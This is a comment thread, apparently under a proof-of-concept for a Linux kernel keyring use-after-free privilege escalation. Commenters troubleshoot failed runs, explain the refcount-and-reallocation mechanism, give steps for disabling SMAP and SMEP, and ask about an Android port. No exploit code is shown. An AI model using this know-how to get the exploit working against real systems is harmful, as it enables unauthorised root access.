It seems that this POC fails a lot, and after running it, the key still exists via /proc/keys and the count is about 64...
I modify the loop count and some other code, then, it fails again and again, but I also get these results that runs in a virtual machine which is ubuntu 14.04 with 3.18.25 without smap & smep.


then the vm freeze.

when I run the modified exp in kali 2.0 with kernel-3.18.24(no smap no smep), the keyctl_revoke return ENOKEY,

@mah0ne, could you provide your changed code?

@itmox just a small change, I decrease the 2nd "for" loop counter, cause it seems that when refcount = 0, the next join_session_keyring will alloc a new obj with the original name, then keyctl_revoke will call the new obj ->type->revoke. but when the refcount is 0 and GC free the obj, sometime keyctl_revoke return ENOKEY,

@mah0ne how did you deactivate smap and smep? Thanks.

@itmox I recompile the kernel,
check SMAP in .config and comment the line "CONFIG_X86_SMAP=y" then "make oldconfig",
after the new kernel done, append "nosmep" to the boot options in file /boot/grub/grub.cfg (Ubuntu)

Don't work on "Oracle Linux Server 6.7"

Is it safe to run this PoC in production environment for checking if the patch has been applied?

no. Never this sort of test on a production host. With the following in mind, I need more sane testing conditions.
I've tested twice:

• on Manjaro (arch fork) with 3.18 kernel, and it panic'd (locked the system)
• on CentOS 7 with kernel 3.10, it caused a reboot.

• 

i use @mah0ne 's kernel number and success to exploit.
ubuntu 14.04.1 x64 then download kernel 3.18.25 and compile and install.
shutdown smap in menuconfig
shutdown smep by edit /boot/grub/grub.cfg

Deletion keyutils.h, who can give me a document.
thank you..

i got the following error in android 7.1.1 in nexus6p:

@bactis can you please publish your final exploit including the make file?

i attached here my make file and android.mk.
